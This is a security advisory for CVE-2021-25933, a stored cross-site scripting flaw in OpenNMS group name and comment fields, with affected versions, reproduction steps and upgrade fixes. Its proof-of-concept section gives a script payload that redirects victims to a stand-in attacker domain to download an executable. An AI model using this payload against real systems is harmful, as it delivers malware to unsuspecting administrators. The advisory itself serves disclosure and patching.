CVE-2021-25933

Overview

in OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.0-1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1; meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1 are vulnerable to Stored Cross-Site Scripting, since the function `validateFormInput()` performs improper validation checks on the input sent to the `groupName` and `groupComment` parameters. Due to this flaw, an authenticated attacker could inject arbitrary script and trick other admin users into downloading malicious files which can cause severe damage to the organization using opennms.

Details

The module `opennms` can be abused by Stored Cross-Site Scripting vulnerability since the function `validateFormInput()` performs improper validation checks on the input sent to the `groupName` and `groupComment` parameters. Due to this flaw, an authenticated attacker could inject arbitrary script and trick other admin users into downloading malicious files which can cause severe damage to the organization using opennms. The `validateFormInput()` function simply adds a new user to a group on the server and accepts user input via `groupName` and `groupComment` parameters. Due to lack of validation on the value passed into the parameter, an attacker can supply a crafted arbitrary script and execute it in the context of the logged in user.

PoC Details

Login to the application and navigate to the opennms/admin/userGroupView/groups/list.htm endpoint. Click on “Add New Group". Insert the payload into the “Group Name" and “Comment" fields and click “OK". You’ll be redirected to the page below. Scroll to the bottom and click “Finish". Now you’ll be presented with a pop-up indicating the successful execution of the script. A malicious attacker can download potential malware in the victim's system using the below payload.

PoC Code

<script>window.location = http://<Attacker-domain>/malicious.exe</script>

Affected Environments

opennms-1-0-stable, opennms-1.0.1 through opennms-27.1.0-1, meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1, meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1

Prevention

Upgrade to Horizon 27.1.1, Meridian 2020.1.7 or Meridian 2019.1.19